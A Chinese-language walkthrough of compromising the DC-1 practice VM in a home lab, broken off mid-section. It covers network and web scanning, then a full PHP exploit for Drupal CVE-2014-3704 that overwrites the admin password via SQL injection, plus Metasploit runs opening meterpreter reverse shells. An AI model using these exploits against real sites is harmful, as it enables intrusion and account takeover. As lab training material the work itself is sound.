DC-1
写写打靶记录。
本篇文章参考：
1 信息收集
注：难得一台可以使用 VMware Workstation 直接打开的靶机。
首先查看 Kali IP 地址：
root at kali in ~
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.8.15 netmask 255.255.255.0 broadcast 10.10.8.255
inet6 fe80::c6b4:c54f:b3d3:4226 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:22:78:42 txqueuelen 1000 (Ethernet)
RX packets 198 bytes 17282 (16.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 185 bytes 20724 (20.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
1.1 地址探测
1.1.1 arp-scan
root at kali in ~
$ arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:22:78:42, IPv4: 10.10.8.15
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.10.8.1 00:50:56:c0:00:08 VMware, Inc.
10.10.8.2 00:50:56:f2:17:ce VMware, Inc.
10.10.8.19 00:0c:29:2b:59:d5 VMware, Inc.
10.10.8.254 00:50:56:ea:af:43 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.979 seconds (129.36 hosts/sec). 4 responded
1.1.2 netdiscover
root at kali in ~
$ netdiscover -r 10.10.8.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.10.8.1 00:50:56:c0:00:08 1 60 VMware, Inc.
10.10.8.2 00:50:56:f2:17:ce 1 60 VMware, Inc.
10.10.8.19 00:0c:29:2b:59:d5 1 60 VMware, Inc.
10.10.8.254 00:50:56:ea:af:43 1 60 VMware, Inc.
1.1.3 ping shell
root at kali in /tmp
$ vim ping.sh
root at kali in /tmp
$ cat ping.sh
#!/bin/bash
for ip in {1..254}
do
ping -c 1 -W 1 10.10.8.$ip &>/dev/null
if [ $? -eq 0 ]
then
echo "10.10.8.$ip is up"
else
echo "10.10.8.$ip is down"
fi
done
root at kali in /tmp
$ chmod +x ping.sh
root at kali in /tmp
$ ./ping.sh
10.10.8.1 is up
10.10.8.2 is up
10.10.8.3 is down
......
10.10.8.14 is down
10.10.8.15 is up
10.10.8.16 is down
10.10.8.17 is down
10.10.8.18 is down
10.10.8.19 is up
10.10.8.20 is down
......
1.1.4 nmap
使用 Nmap 扫描出一个 IP：10.10.8.19
root at kali in ~
$ nmap -sn -T4 --min-rate 10000 10.10.8.0/24
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-07 23:17 CST
Nmap scan report for 10.10.8.1
Host is up (0.000089s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.10.8.2
Host is up (0.000047s latency).
MAC Address: 00:50:56:F2:17:CE (VMware)
Nmap scan report for 10.10.8.19
Host is up (0.000058s latency).
MAC Address: 00:0C:29:2B:59:D5 (VMware)
Nmap scan report for 10.10.8.254
Host is up (0.000037s latency).
MAC Address: 00:50:56:EA:AF:43 (VMware)
Nmap scan report for 10.10.8.15
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 5.21 seconds
1.2 端口扫描
扫描开放端口：
root at kali in ~
$ nmap -p- -sT -T4 --min-rate 10000 10.10.8.19
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-07 23:18 CST
Nmap scan report for 10.10.8.19
Host is up (0.00044s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
38960/tcp open unknown
MAC Address: 00:0C:29:2B:59:D5 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 5.53 seconds
1.3 服务识别
扫描端口对应服务：
root at kali in ~
$ nmap -p22,80,111,38960 -sV -O -sT -T4 --min-rate 10000 10.10.8.19
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-07 23:19 CST
Nmap scan report for 10.10.8.19
Host is up (0.00028s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
38960/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:2B:59:D5 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.32 seconds
分析一下扫描结果：
## 开放 22、80、111、38960 端口
22 - SSH 服务 - 弱口令、暴力破解
80 - Web 服务 - 漏洞形式多样
111 - 网络服务 - 维护 RPC，没找到 POC
38960 - 未知服务
1.4 漏洞扫描
1.4.1 nmap
使用 Nmap 进行漏洞扫描：
root at kali in /tmp
$ nmap --script=vuln --min-rate 10000 10.10.8.19
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-08 00:01 CST
Nmap scan report for 10.10.8.19
Host is up (0.00033s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2014-3704:
| VULNERABLE:
| Drupal - pre Auth SQL Injection Vulnerability
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2014-3704
| The expandArguments function in the database abstraction API in
| Drupal core 7.x before 7.32 does not properly construct prepared
| statements, which allows remote attackers to conduct SQL injection
| attacks via an array containing crafted keys.
|
| Disclosure date: 2014-10-15
| References:
| http://www.securityfocus.com/bid/70595
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704
| https://www.drupal.org/SA-CORE-2014-005
|_ https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.8.19
| Found the following possible CSRF vulnerabilities:
|
| Path: http://10.10.8.19:80/
| Form id: user-login-form
| Form action: /node?destination=node
|
| Path: http://10.10.8.19:80/node?destination=node
| Form id: user-login-form
| Form action: /node?destination=node
|
| Path: http://10.10.8.19:80/user/password
| Form id: user-pass
| Form action: /user/password
|
| Path: http://10.10.8.19:80/user/register
| Form id: user-register-form
| Form action: /user/register
|
| Path: http://10.10.8.19:80/user
| Form id: user-login
| Form action: /user
|
| Path: http://10.10.8.19:80/user/
| Form id: user-login
|_ Form action: /user/
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /rss.xml: RSS or Atom feed
| /robots.txt: Robots file
| /UPGRADE.txt: Drupal file
| /INSTALL.txt: Drupal file
| /INSTALL.mysql.txt: Drupal file
| /INSTALL.pgsql.txt: Drupal file
| /: Drupal version 7
| /README: Interesting, a readme.
| /README.txt: Interesting, a readme.
| /0/: Potentially interesting folder
|_ /user/: Potentially interesting folder
111/tcp open rpcbind
MAC Address: 00:0C:29:2B:59:D5 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 124.55 seconds
扫描出一个 Drupal CVE-2014-3704，搜一下：
还真有个 POC，等会利用一下。
1.4.2 nikto
使用 nikto 进行漏洞扫描：
root at kali in /tmp
$ nikto -url http://10.10.8.19
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 10.10.8.19
+ Target Hostname: 10.10.8.19
+ Target Port: 80
+ Start Time: 2023-11-08 00:04:29 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Debian)
+ /: Retrieved x-powered-by header: PHP/5.4.45-0+deb7u14.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Drupal 7 was identified via the x-generator header. See: https://www.drupal.org/project/remove_http_headers
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /robots.txt: Server may leak inodes via ETags, header found with file /robots.txt, inode: 152289, size: 1561, mtime: Thu Nov 21 04:45:59 2013. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
......
+ /robots.txt: contains 36 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /misc/favicon.ico: identifies this app/server as: Drupal 7.x. See: https://en.wikipedia.org/wiki/Favicon
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017
+ /web.config: ASP config file is accessible.
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that
......
+ /user/: This might be interesting.
+ /README: Uncommon header 'tcn' found, with contents: choice.
+ /README: README file found.
......
+ 9725 requests: 0 error(s) and 42 item(s) reported on remote host
+ End Time: 2023-11-08 00:10:10 (GMT8) (341 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
这里就没找到想要的了
1.4.3 droopescan
工具需要安装，网络不好慎装：
proxychains git clone https://github.com/droope/droopescan.git
cd droopescan
proxychains pip install -r requirements.txt
使用 droopescan 扫一扫：
root at kali in ~/droopescan (master)
$ ./droopescan scan drupal -u http://10.10.8.19
[+] Plugins found:
ctools http://10.10.8.19/sites/all/modules/ctools/
http://10.10.8.19/sites/all/modules/ctools/LICENSE.txt
http://10.10.8.19/sites/all/modules/ctools/API.txt
views http://10.10.8.19/sites/all/modules/views/
http://10.10.8.19/sites/all/modules/views/README.txt
http://10.10.8.19/sites/all/modules/views/LICENSE.txt
profile http://10.10.8.19/modules/profile/
php http://10.10.8.19/modules/php/
image http://10.10.8.19/modules/image/
[+] Themes found:
seven http://10.10.8.19/themes/seven/
garland http://10.10.8.19/themes/garland/
[+] Possible version(s):
7.22
7.23
7.24
7.25
7.26
[+] Possible interesting urls found:
Default admin - http://10.10.8.19/user/login
[+] Scan finished (0:03:41.516637 elapsed)
好像也没啥有用得。
1.5 目录扫描
由于有 Web 服务开放，使用 dirsearch 扫描一下站点目录：
root at kali in ~
$ dirsearch -u http://10.10.8.19/ -o /tmp/dirsearch.txt
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /usr/lib/python3/dist-packages/dirsearch/dirsearch.txt
Error Log: /root/.dirsearch/logs/errors-23-11-07_23-27-17.log
Target: http://10.10.8.19/
[23:27:17] Starting:
[23:27:17] 403 - 286B - /%2e%2e;/test
[23:27:21] 200 - 7KB - /0
[23:27:22] 403 - 283B - /2.sql
[23:27:23] 403 - 283B - /1.sql
[23:27:23] 403 - 286B - /2010.sql
[23:27:24] 403 - 286B - /2011.sql
[23:27:24] 403 - 286B - /2012.sq
......
root at kali in /tmp
$ cat dirsearch.txt| grep 200
200 7KB http://10.10.8.19:80/0
200 1KB http://10.10.8.19:80/COPYRIGHT.txt
200 17KB http://10.10.8.19:80/INSTALL
200 1KB http://10.10.8.19:80/INSTALL.mysql.txt
200 2KB http://10.10.8.19:80/INSTALL.pgsql.txt
200 17KB http://10.10.8.19:80/INSTALL.txt
200 18KB http://10.10.8.19:80/LICENSE
200 18KB http://10.10.8.19:80/LICENSE.txt
200 8KB http://10.10.8.19:80/MAINTAINERS.txt
200 5KB http://10.10.8.19:80/README
200 5KB http://10.10.8.19:80/README.txt
200 9KB http://10.10.8.19:80/UPGRADE.txt
200 9KB http://10.10.8.19:80/UPGRADE
200 7KB http://10.10.8.19:80/index.php
200 3KB http://10.10.8.19:80/install.php
200 7KB http://10.10.8.19:80/node
200 2KB http://10.10.8.19:80/robots.txt
200 952B http://10.10.8.19:80/sites/all/modules/README.txt
200 0B http://10.10.8.19:80/sites/example.sites.php
200 904B http://10.10.8.19:80/sites/README.txt
200 767B http://10.10.8.19:80/sites/all/themes/README.txt
200 7KB http://10.10.8.19:80/user
200 7KB http://10.10.8.19:80/user/
200 7KB http://10.10.8.19:80/user/login/
200 2KB http://10.10.8.19:80/web.config
200 42B http://10.10.8.19:80/xmlrpc.php
简单翻了翻也没什么有用的信息。
2 漏洞利用
根据刚刚搜集的信息访问一下 Web 服务：
尝试弱口令，没啥效果：
查找 CVE，全是 XSS，由于是靶机，XSS 没啥用：
root at kali in ~
$ searchsploit drupal site
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Drupal 4.1/4.2 - Cross-Site Scripting | php/webapps/22940.txt
Drupal 6.15 - Multiple Persistent Cross-Site Scripting Vulnerabilities | php/webapps/11060.txt
Drupal avatar_uploader v7.x-1.0-beta8 - Cross Site Scripting (XSS) | php/webapps/50841.txt
Drupal Module CKEditor 3.0 < 3.6.2 - Persistent EventHandler Cross-Site Scripting | php/webapps/18389.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cross-Site Scripting | php/webapps/25493.txt
Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site Scripting | php/webapps/35397.txt
Drupal Module Sections - Cross-Site Scripting | php/webapps/10485.txt
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
查找 CVE，没啥有用的：
2.1 CVE-2019-6340
换个搜索 CVE RCE：
发现还真有：
尝试一下：
root at kali in ~/Desktop
$ python3 46459.py http://10.10.8.19/ "ps auxf"
CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
by @leonjza
References:
https://www.drupal.org/sa-core-2019-003
https://www.ambionics.io/blog/drupal8-rce
[warning] Caching heavily affects reliability of this exploit.
Nodes are used as they are discovered, but once they are done,
you will have to wait for cache expiry.
Targeting http://10.10.8.19/...
[+] Finding a usable node id...
[+] Using node_id 1
[!] Target does not appear to be vulnerable.
[!] It may also simply be a caching issue, so maybe just try again later.
结果显而易见的不行，那是因为 Drupal 的版本太低了，这个 CVE 是 Drupal 8 的：
2.2 CVE-2014-3704
总有路可走，前面使用 Nmap 扫了个 CVE-2014-3704，看一下：
脚本内容如下：
<?php
#-----------------------------------------------------------------------------#
## Exploit Title: Drupal core 7.x - SQL Injection #
## Date: Oct 16 2014 #
## Exploit Author: Dustin Dörr #
## Software Link: http://www.drupal.com/ #
## Version: Drupal core 7.x versions prior to 7.32 #
## CVE: CVE-2014-3704 #
#-----------------------------------------------------------------------------#
$url = 'http://www.example.com';
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);
if (stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}
?>
看着说明是一个密码重置的漏洞脚本，重置的是管理员账户，修改一下 url：
<?php
$url = 'http://10.10.8.19';
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);
if (stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}
?>
运行看看结果：
root at kali in ~/Desktop
$ php 34993.php
Success! Log in with username "admin" and password "admin" at http://10.10.8.19user/login
修改成了，登录一下：
可以密码已经被重置了，尝试尝试还有没有别的方法。
2.3 Exploit-db CVE
在 Exploit-db 网站中再找找 CVE：
随便点击一个下拉，点击 remote：
发现筛选出的漏洞大部分都和 MSF 有关：
那就直接上 MSF 吧。
2.3.1 MSF Exp
直接搜索 drupal 相关漏洞：
msf6 > search drupal
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/drupal_coder_exec 2016-07-13 excellent Yes Drupal CODER Module Remote Command Execution
1 exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection
2 exploit/multi/http/drupal_drupageddon 2014-10-15 excellent No Drupal HTTP Parameter Key/Value SQL Injection
3 auxiliary/gather/drupal_openid_xxe 2012-10-17 normal Yes Drupal OpenID External Entity Injection
4 exploit/unix/webapp/drupal_restws_exec 2016-07-13 excellent Yes Drupal RESTWS Module Remote PHP Code Execution
5 exploit/unix/webapp/drupal_restws_unserialize 2019-02-20 normal Yes Drupal RESTful Web Services unserialize() RCE
6 auxiliary/scanner/http/drupal_views_user_enum 2010-07-02 normal Yes Drupal Views Module Users Enumeration
7 exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent Yes PHP XML-RPC Arbitrary Code Execution
还挺多，一个一个试，分别查看漏洞信息。
2.3.1.1 exploit/unix/webapp/drupal_coder_exec(0)
使用 info 看一看：
msf6 > info 0
Name: Drupal CODER Module Remote Command Execution
Module: exploit/unix/webapp/drupal_coder_exec
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-07-13
Provided by:
Nicky Bloor <nick@nickbloor.co.uk>
Mehmet Ince <mehmet@mehmetince.net>
Available targets:
Id Name
-- ----
=> 0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI of the Drupal installation
VHOST no HTTP server virtual host
Payload information:
Space: 250
Avoid: 1 characters
Description:
This module exploits a Remote Command Execution vulnerability in the
Drupal CODER Module. Unauthenticated users can execute arbitrary
commands under the context of the web server user.
The CODER module doesn't sufficiently validate user inputs in a script
file that has the PHP extension. A malicious unauthenticated user can
make requests directly to this file to execute arbitrary commands.
The module does not need to be enabled for this to be exploited.
This module was tested against CODER 2.5 with Drupal 7.5 installed on
Ubuntu Server.
References:
https://www.drupal.org/node/2765575
View the full module info with the info -d command.
但是利用失败了，看着应该是版本不对：
2.3.1.2 drupal_drupalgeddon2(1)
使用 info 看一看：
msf6 > info 1
Name: Drupal Drupalgeddon 2 Forms API Property Injection
Module: exploit/unix/webapp/drupal_drupalgeddon2
Platform: PHP, Unix, Linux
Arch: php, cmd, x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2018-03-28
Provided by:
Jasper Mattsson
a2u
Nixawk
FireFart
wvu <wvu@metasploit.com>
Module stability:
crash-safe
Available targets:
Id Name
-- ----
=> 0 Automatic (PHP In-Memory)
1 Automatic (PHP Dropper)
2 Automatic (Unix In-Memory)
3 Automatic (Linux Dropper)
4 Drupal 7.x (PHP In-Memory)
5 Drupal 7.x (PHP Dropper)
6 Drupal 7.x (Unix In-Memory)
7 Drupal 7.x (Linux Dropper)
8 Drupal 8.x (PHP In-Memory)
9 Drupal 8.x (PHP Dropper)
10 Drupal 8.x (Unix In-Memory)
11 Drupal 8.x (Linux Dropper)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Payload information:
Avoid: 3 characters
Description:
This module exploits a Drupal property injection in the Forms API.
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-7600
https://www.drupal.org/sa-core-2018-002
https://greysec.net/showthread.php?tid=2912
https://research.checkpoint.com/uncovering-drupalgeddon-2/
https://github.com/a2u/CVE-2018-7600
https://github.com/nixawk/labs/issues/19
https://github.com/FireFart/CVE-2018-7600
Also known as:
SA-CORE-2018-002
Drupalgeddon 2
View the full module info with the info -d command.
看着可以用，试一试：
msf6 > use 1
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.8.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (PHP In-Memory)
View the full module info with the info, or info -d command.
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 10.10.8.19
RHOSTS => 10.10.8.19
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 10.10.8.15:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (39927 bytes) to 10.10.8.19
[*] Meterpreter session 2 opened (10.10.8.15:4444 -> 10.10.8.19:50211) at 2023-11-08 00:19:40 +0800
meterpreter > getuid
Server username: www-data
Nice！
2.3.1.3 drupal_drupageddon(2)
使用 info 看一看：
msf6 > info 2
Name: Drupal HTTP Parameter Key/Value SQL Injection
Module: exploit/multi/http/drupal_drupageddon
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-10-15
Provided by:
SektionEins
WhiteWinterWolf
Christian Mehlmauer <FireFart@gmail.com>
Brandon Perry
Module stability:
crash-safe
Available targets:
Id Name
-- ----
=> 0 Drupal 7.0 - 7.31 (form-cache PHP injection method)
1 Drupal 7.0 - 7.31 (user-post PHP injection method)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI of the Drupal installation
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits the Drupal HTTP Parameter Key/Value SQL Injection
(aka Drupageddon) in order to achieve a remote shell on the vulnerable
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
in 7.32).
Two methods are available to trigger the PHP payload on the target:
- set TARGET 0:
Form-cache PHP injection method (default).
This uses the SQLi to upload a malicious form to Drupal's cache,
then trigger the cache entry to execute the payload using a POP chain.
- set TARGET 1:
User-post injection method.
This creates a new Drupal user, adds it to the administrators group,
enable Drupal's PHP module, grant the administrators the right to
bundle PHP code in their post, create a new post containing the
payload and preview it to trigger the payload execution.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-3704
https://www.drupal.org/SA-CORE-2014-005
http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/
Also known as:
Drupageddon
View the full module info with the info -d command.
看着也可以用，试一试：
msf6 > use 2
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/drupal_drupageddon) > options
Module options (exploit/multi/http/drupal_drupageddon):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI of the Drupal installation
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.8.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Drupal 7.0 - 7.31 (form-cache PHP injection method)
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/drupal_drupageddon) > set RHOSTS 10.10.8.19
RHOSTS => 10.10.8.19
msf6 exploit(multi/http/drupal_drupageddon) > run
[*] Started reverse TCP handler on 10.10.8.15:4444
[*] Sending stage (39927 bytes) to 10.10.8.19
[*] Meterpreter session 1 opened (10.10.8.15:4444 -> 10.10.8.19:50209) at 2023-11-07 23:52:09 +0800
meterpreter > getuid
Server username: www-data
Nice！
2.3.1.4 drupal_openid_xxe(3)
使用 info 看一看：
msf6 > info 3
Name: Drupal OpenID External Entity Injection
Module: auxiliary/gather/drupal_openid_xxe
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2012-10-17
Provided by:
Reginaldo Silva
juan vazquez <juan.vazquez@metasploit.com>
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH /etc/passwd yes The filepath to read on the server
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen o
n all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /drupal yes Base Drupal directory path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Description:
This module abuses an XML External Entity Injection
vulnerability on the OpenID module from Drupal. The vulnerability exists
in the parsing of a malformed XRDS file coming from a malicious OpenID
endpoint. This module has been tested successfully on Drupal 7.15 and
7.2 with the OpenID module enabled.
References:
https://nvd.nist.gov/vuln/detail/CVE-2012-4554
OSVDB (86429)
http://www.securityfocus.com/bid/56103
https://drupal.org/node/1815912
https://github.com/drupal/drupal/commit/b9127101ffeca819e74a03fa9f5a48d026c562e5
https://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution
View the full module info with the info -d command.
看着好像也行，试一试：
msf6 > use 3
msf6 auxiliary(gather/drupal_openid_xxe) > options
Module options (auxiliary/gather/drupal_openid_xxe):
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH /etc/passwd yes The filepath to read on the server
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /drupal yes Base Drupal directory path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(gather/drupal_openid_xxe) > set RHOSTS 10.10.8.19
RHOSTS => 10.10.8.19
msf6 auxiliary(gather/drupal_openid_xxe) > run
[*] Running module against 10.10.8.19
[*] Using URL: http://10.10.8.15:8080/y7tCtsuD
[*] Server started.
[!] Unexpected answer, trying to parse anyway...
[*] Searching loot on the Drupal answer...
[*] Searching loot on HTTP query...
[*] Server stopped.
[*] Auxiliary module execution completed
也利用失败了，应该是高版本修复了：
2.3.1.5 drupal_restws_exec(4)
使用 info 看一看：
msf6 > info 4
